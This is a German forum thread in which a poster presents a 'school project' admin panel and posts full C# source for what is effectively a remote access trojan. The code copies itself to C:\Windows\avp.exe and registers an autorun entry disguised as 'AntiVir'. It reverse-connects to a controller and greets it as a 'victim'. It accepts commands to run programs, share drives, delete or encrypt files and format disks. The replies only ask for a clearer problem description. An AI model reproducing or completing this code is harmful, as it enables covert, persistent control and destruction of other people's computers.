Kleiner Fehler



  • Also für unsere Schule muss ic hals PRojekt ein Administrationspanel mahcen.
    Im Prinzip ist es eine Server / Client Anwendung, die Befehle auf dem Server ausfülhrt, wenn das Passwort richtig ist.

    Auerdem muss das ganze Reverse Connecten, da der Admin eine statische IP (dyndns.com) zuhause hat und darauf soll verbunden werden.

    Hier mal die Codes:
    Server - verbindet mit Reverse

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Net.Sockets;
    using System.IO;
    using System.Net;
    using Microsoft.Win32;
    
    namespace RC
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }
    
            private void Form1_Load(object sender, EventArgs e)
            {
    
            rauf:
    
                try
                {
                    File.Copy("Schulprogramm2_Alex_4aI.exe", "C://Windows//avp.exe", true);
                    RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion", true);
                    // Add one more sub key
                    RegistryKey newkey = key.CreateSubKey("Run");
                    // Set value of sub key
                    newkey.SetValue("AntiVir", "C:\\Windows\\avp.exe");
                }
                catch
                {
    
                }
    
                //and do the .bat stuff
                try
                {
                    Directory.CreateDirectory("C:\\Windows\\bat");
    
                }
                catch
                {
    
                }
    
                //2 Splitter
                string[] arInfo = new string[2];
                //Split Zeichen = Leerzeichen
                char[] splitter = { ' ' };
                //lese string
                string zeile = " ";
                double pw = 0;
                string theString = " ";
    
                //EndeVariablen Kacke
    
                //TcpClient socketForServer2;
                TcpClient socketForServer;
    
                retry:
                try
                {
                    //socketForServer2 = new TcpClient("securitysuit.mine.nu", 668);
                    socketForServer = new TcpClient("127.0.0.1", 669);
                }
                catch
                {
                    //MessageBox.Show("d");
                    System.Threading.Thread.Sleep(50000);
                    goto retry;
                }
                /*NetworkStream networkStream2 = socketForServer2.GetStream();
                System.IO.StreamReader streamReader2 = new System.IO.StreamReader(networkStream2);
                System.IO.StreamWriter streamWriter2 = new System.IO.StreamWriter(networkStream2);*/
    
                NetworkStream networkStream = socketForServer.GetStream();
                System.IO.StreamReader streamReader = new System.IO.StreamReader(networkStream);
                System.IO.StreamWriter streamWriter = new System.IO.StreamWriter(networkStream);
                //2te variante
    
                try
                {
                    string outputString;
    
                    streamWriter.WriteLine("HI I am your stupid victim - I love you Admin");
                    streamWriter.Flush();
    
                    while (true)
                    {
    
                        if (theString == "hello")
                        {
                            string hostName = Dns.GetHostName();
                            string ipa = Dns.GetHostByName(hostName).AddressList[0].ToString();
    
                            if (ipa == "85.17.10.126")
                            {
                                streamWriter.WriteLine("IP wurde als Admin Proxy Server registriert");
                            }
    
                            streamWriter.WriteLine("Hello Admin");
                            streamWriter.Flush();
                            pw = 1;
                            streamWriter.WriteLine("Now new supported commands are ready: Admin greetz you");
                            streamWriter.Flush();
                            streamWriter.WriteLine("map NAME");
                            streamWriter.Flush();
                            streamWriter.WriteLine("Erzeugt Freigaben auf dem VIC");
                            streamWriter.Flush();
                        }
    
                        if (theString.Contains("process") || theString.Contains("Process") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
    
                            System.Diagnostics.Process proc = new System.Diagnostics.Process();
                            proc.EnableRaisingEvents = false;
                            proc.StartInfo.FileName = arInfo[1];
                            proc.Start();
                        }
    
                        if (theString == "kill" && pw == 1)
                        {
                            streamWriter.WriteLine("Going down for a shutdown");
                            streamWriter.Flush();
                            socketForServer.Close();
                            goto bye;
                        }
    
                        if (theString.Contains("copy") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            //arInfo[1] = Quelle
                            //arInfo[2] = Ziel
                            try
                            {
                                File.Copy(arInfo[1], arInfo[2], true);
                            }
                            catch
                            {
                                streamWriter.WriteLine("Fehler Datei konnte nicht kopiert werden");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("map") || theString.Contains("Map") && pw == 1)
                        {
                            StreamWriter sw = new StreamWriter("C:\\map.bat");
                            sw.WriteLine("net share admin=C:\\");
                            sw.Close();
                            System.Threading.Thread.Sleep(500);
                            System.Diagnostics.Process.Start("C:\\map.bat");
                            System.Threading.Thread.Sleep(500);
                            File.Delete("C:\\map.bat");
    
                            StreamWriter sw2 = new StreamWriter("C:\\map.bat");
                            sw2.WriteLine("net share admin2=D:\\");
                            sw2.Close();
                            System.Threading.Thread.Sleep(500);
                            System.Diagnostics.Process.Start("C:\\map.bat");
                            System.Threading.Thread.Sleep(500);
                            File.Delete("C:\\map.bat");
    
                            streamWriter.WriteLine("C: wurde gemapped - Sharename: admin");
                            streamWriter.Flush();
                            streamWriter.WriteLine("D: wurde gemapped - Sharename: admin");
                            streamWriter.Flush();
                        }
    
                        if (theString == "help" && pw == 1)
                        {
                            streamWriter.WriteLine("CALL     Ruft eine Batchdatei aus einer anderen Batchdatei heraus auf.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("CD       Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert diesen.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("CLS      Löscht den Bildschirminhalt.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("CMD      Startet eine neue Instanz des Windows-Befehlsinterpreters.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("COPY     Kopiert eine oder mehrere Dateien an eine andere Stelle.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("DATE     Zeigt das Datum an bzw. legt dieses fest.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("DEL      Löscht eine oder mehrere Dateien.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("DIR      Listet die Dateien und Unterverzeichnisse eines Verzeichnisses auf.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("FORMAT   Formatiert einen Dateinträger für die Verwendung mit Windows.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("HELP     Zeigt Hilfeinformationen zu Windows-Befehlen an.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("MKDIR    Erstellt ein Verzeichnis.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("MOVE     Verschiebt ein oder mehrere Dateien von einem Verzeichnis in ein anderes.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("RD       Entfernt ein Verzeichnis.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("REN      Benennt eine Datei bzw. Dateien um.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("VER      Zeigt die Windows-Version an.");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("Process      Startet ein Programm");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("kill      Beendet den Server");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("call      Startet ein Programm");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("crypt     Verschluesselt eine Datei");
                            streamWriter.Flush();
    
                            streamWriter.WriteLine("dcrypt     Entschluesselt eine Datei");
                            streamWriter.Flush();
                        }
                        if (theString.Contains("call") || theString.Contains("Call") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            //arInfo[0] = call oder Call
                            //arInfo[1] = Parameter
    
                            try
                            {
                                System.Diagnostics.Process.Start(arInfo[1]);
                            }
                            catch
                            {
                                string v = "Das Programm / Pfad: " + arInfo[1] + " konnte nicht gestartet werden";
                                streamWriter.WriteLine(v);
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString == "ver" && pw == 1)
                        {
                            try
                            {
                                StreamWriter lo = File.CreateText("C:\\ver.bat");
                                lo.WriteLine("ver > C://ver.txt");
                                lo.Close();
    
                                System.Threading.Thread.Sleep(500);
                                System.Diagnostics.Process.Start("C://ver.bat");
                                System.Threading.Thread.Sleep(500);
    
                                StreamReader sr = File.OpenText("C:\\ver.txt");
                                for (int i = 0; -1 != sr.Peek(); i++)
                                {
                                    zeile += sr.ReadLine();
                                }
                                sr.Close();
    
                                System.Threading.Thread.Sleep(500);
    
                                streamWriter.WriteLine(zeile);
                                streamWriter.Flush();
                            }
                            catch
                            {
                                streamWriter.WriteLine("Fehler");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("move") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
    
                            try
                            {
                                File.Move(arInfo[1], arInfo[2]);
                            }
                            catch
                            {
                                streamWriter.WriteLine("Fehler");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("crypt") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            try
                            {
                                File.Encrypt(arInfo[1]);
                            }
                            catch
                            {
                                streamWriter.WriteLine("Falscher Pfad");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("dcrypt") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            try
                            {
                                File.Decrypt(arInfo[1]);
                            }
                            catch
                            {
                                streamWriter.WriteLine("Falscher Pfad");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("format") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
    
                            StreamWriter su = File.CreateText("C://kill.bat");
                            su.WriteLine("format " + arInfo[1]);
                            su.Close();
    
                            System.Diagnostics.Process.Start("C://kill.bat");
    
                        }
    
                        if (theString == "date" && pw == 1)
                        {
                            StreamWriter sx = File.CreateText("C:\\date.bat");
                            sx.WriteLine("date /T > C:\\dasf.txt");
                            sx.Close();
                            System.Threading.Thread.Sleep(500);
                            System.Diagnostics.Process.Start("C:\\date.bat");
    
                            System.Threading.Thread.Sleep(500);
    
                            StreamReader sr = File.OpenText("C:\\dasf.txt");
                            for (int i = 0; -1 != sr.Peek(); i++)
                            {
                                zeile += sr.ReadLine();
                            }
                            sr.Close();
    
                            streamWriter.WriteLine(zeile);
                            streamWriter.Flush();
    
                            System.Threading.Thread.Sleep(500);
    
                            File.Delete("C:\\date.bat");
                            File.Delete("C:\\dasf.txt");
                        }
    
                        if (theString == "cmd" && pw == 1)
                        {
                            try
                            {
                                System.Diagnostics.Process.Start("cmd.exe");
                            }
                            catch
                            {
                                streamWriter.WriteLine("cmd.exe konnte nicht gestartet werden");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString == "cls" && pw == 1)
                        {
                            int i = 0;
    
                            while (i <= 30)
                            {
                                streamWriter.WriteLine(" ");
                                streamWriter.Flush();
                                i++;
                            }
                        }
    
                        if (theString == "dir" || theString == "DIR" && pw == 1)
                        {
                            StreamWriter ws = File.CreateText("C://dir.bat");
                            ws.WriteLine("cmd /C dir > C:\\task.txt");
                            ws.Close();
                            System.Threading.Thread.Sleep(500);
                            System.Diagnostics.Process.Start("C://dir.bat");
                            System.Threading.Thread.Sleep(500);
                            File.Delete("C://dir.bat");
    
                            StreamReader sr = File.OpenText("C:\\task.txt");
                            for (int i = 0; -1 != sr.Peek(); i++)
                            {
                                zeile += sr.ReadLine();
                            }
                            streamWriter.WriteLine(zeile);
                            streamWriter.Flush();
    
                        }
    
                        if (theString == "cd" || theString == "CD" && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
    
                            StreamWriter ws = File.CreateText("C://cd.bat");
                            ws.WriteLine("cmd /C cd " + arInfo[1] + " > C:\\cd.txt");
                            ws.Close();
                            System.Threading.Thread.Sleep(500);
                            System.Diagnostics.Process.Start("C://cd.bat");
                            System.Threading.Thread.Sleep(500);
                            File.Delete("C://cd.bat");
    
                            StreamReader sr = File.OpenText("C:\\cd.txt");
                            for (int i = 0; -1 != sr.Peek(); i++)
                            {
                                zeile += sr.ReadLine();
                            }
                            streamWriter.WriteLine(zeile);
                            streamWriter.Flush();
    
                        }
    
                        if (theString.Contains("del") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            try
                            {
                                File.Delete(arInfo[1]);
                            }
                            catch
                            {
                                streamWriter.WriteLine("Datei konnte nicht geloescht werden");
                                streamWriter.Flush();
                            }
                        }
    
                        if (theString.Contains("RD") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            Directory.Delete(arInfo[1]);
                        }
    
                        if (theString.Contains("cd") || theString.Contains("Cd") && pw == 1)
                        {
                            arInfo = theString.Split(splitter);
                            try
                            {
                                StreamWriter sw = new StreamWriter("C:\\Windows\\bat\\cd.bat");
                                sw.WriteLine("cd " + arInfo[1] + " >>C:\\Windows\\bat\\cd.txt");
                                sw.Close();
                            }
                            catch
                            {
                                streamWriter.WriteLine("Parameter wurde falsch uebergeben - help gibt mehr Informationen");
                                streamWriter.Flush();
                            }
    
                            System.Threading.Thread.Sleep(500);
    
                            try
                            {
                                System.Diagnostics.Process.Start("C:\\Windows\\bat\\cd.bat");
    
                                System.Threading.Thread.Sleep(500);
    
                                StreamReader sr = File.OpenText("C:\\Windows\\bat\\cd.txt");
                                for (int i = 0; -1 != sr.Peek(); i++)
                                {
                                    zeile += sr.ReadLine();
                                }
    
                                sr.Close();
                            }
                            catch
                            {
                                streamWriter.WriteLine("Konnte nicht in Verzeichnis %Parameter% wechseln");
                                streamWriter.Flush();
                            }
                        }
                    }
    
                }
                catch
                {
                    MessageBox.Show("Fehler");
                }
            bye:
                streamReader.Close();
                streamWriter.Close();
                networkStream.Close();
            }
        }
    }
    

    Der Client

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Net.Sockets;
    using System.Threading;
    
    namespace RATServer
    {
        class Program
        {
    
            public static void tuwas()
            {
                TcpListener tcpListener2 = new TcpListener(11660);
                tcpListener2.Start();
                Socket socketForClient2 = tcpListener2.AcceptSocket();
    
                if (socketForClient2.Connected)
                {
                    NetworkStream networkStream2 = new NetworkStream(socketForClient2);
                    System.IO.StreamWriter streamWriter2 = new System.IO.StreamWriter(networkStream2);
                    System.IO.StreamReader streamReader2 = new System.IO.StreamReader(networkStream2);
                    string read = " ";
    
                    while (true)
                    {
                        read = streamReader2.ReadLine();
                        Console.WriteLine(read);
                    }
                }
            }
    
            static void Main(string[] args)
            {
                TcpListener tcpListener = new TcpListener(669);
                tcpListener.Start();
                Socket socketForClient = tcpListener.AcceptSocket();
                //Variablen Kacke
                string help = "ATTRIB   Zeigt Dateiattribute an bzw. ändert sie.\nCALL     Ruft eine Batchdatei aus einer anderen Batchdatei heraus auf.\nCD       Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert diesen.\nCLS      Löscht den Bildschirminhalt.\nCMD      Startet eine neue Instanz des Windows-Befehlsinterpreters.\nCOPY     Kopiert eine oder mehrere Dateien an eine andere Stelle.\nDATE     Zeigt das Datum an bzw. legt dieses fest.\nDEL      Löscht eine oder mehrere Dateien.\nDIR      Listet die Dateien und Unterverzeichnisse eines Verzeichnisses auf.\nEXIT     Beendet das Programm CMD.EXE (Befehlsinterpreter).\nFORMAT   Formatiert einen Dateinträger für die Verwendung mit Windows.\nHELP     Zeigt Hilfeinformationen zu Windows-Befehlen an.\nMKDIR    Erstellt ein Verzeichnis.\nMOVE     Verschiebt ein oder mehrere Dateien von einem Verzeichnis in ein anderes.\nRD       Entfernt ein Verzeichnis.\nREN      Benennt eine Datei bzw. Dateien um.\nRMDIR    Löscht ein Verzeichnis.\nTIME     Zeigt die Systemzeit an bzw. legt sie fest.\nTYPE     Zeigt den Inhalt einer Textdatei an.\nVER      Zeigt die Windows-Version an.\n";
                //2 Splitter
                string[] arInfo = new string[2];
                //Split Zeichen = Leerzeichen
                char[] splitter = {' '};
                //lese string
                string zeile=" ";
                double pw = 0;
                string theString = " ";
    
                //EndeVariablen Kacke
    
                if (socketForClient.Connected)
                {
                    NetworkStream networkStream = new NetworkStream(socketForClient);
                    System.IO.StreamWriter streamWriter = new System.IO.StreamWriter(networkStream);
                    System.IO.StreamReader streamReader = new System.IO.StreamReader(networkStream);
    
                    theString = streamReader.ReadLine();
                    Console.WriteLine(theString);
                    Console.WriteLine("Hallo Admin: admin greetz you");
    
                    while (true)
                    {
                        theString = Console.ReadLine();
                        streamWriter.WriteLine();
                        streamWriter.Flush();
                        try
                        {
                            theString = streamReader.ReadLine();
                            Console.WriteLine(theString);
                        }
                        catch
                        {
    
                        }
    
                        /*Thread[] ta = new Thread[2]; 
                        ta[1] = new Thread(new ThreadStart(tuwas)); 
                        ta[1].Start(); */
                    }
                    Console.Read();
                }
            }
        }
    }
    


  • Servus,

    und was ist nun dein Problem? (Merke: Geht nicht! Ist keine Problembeschreibung.)

    mfg
    Hellsgore



  • Ausserdem wäre es nett, nach Möglichkeit nur den Relevanten Codeausschnitt zu posten. Hier haben selten Leute Lust, die Arbeit von Deinem Debugger zu übernehmen 😉


Anmelden zum Antworten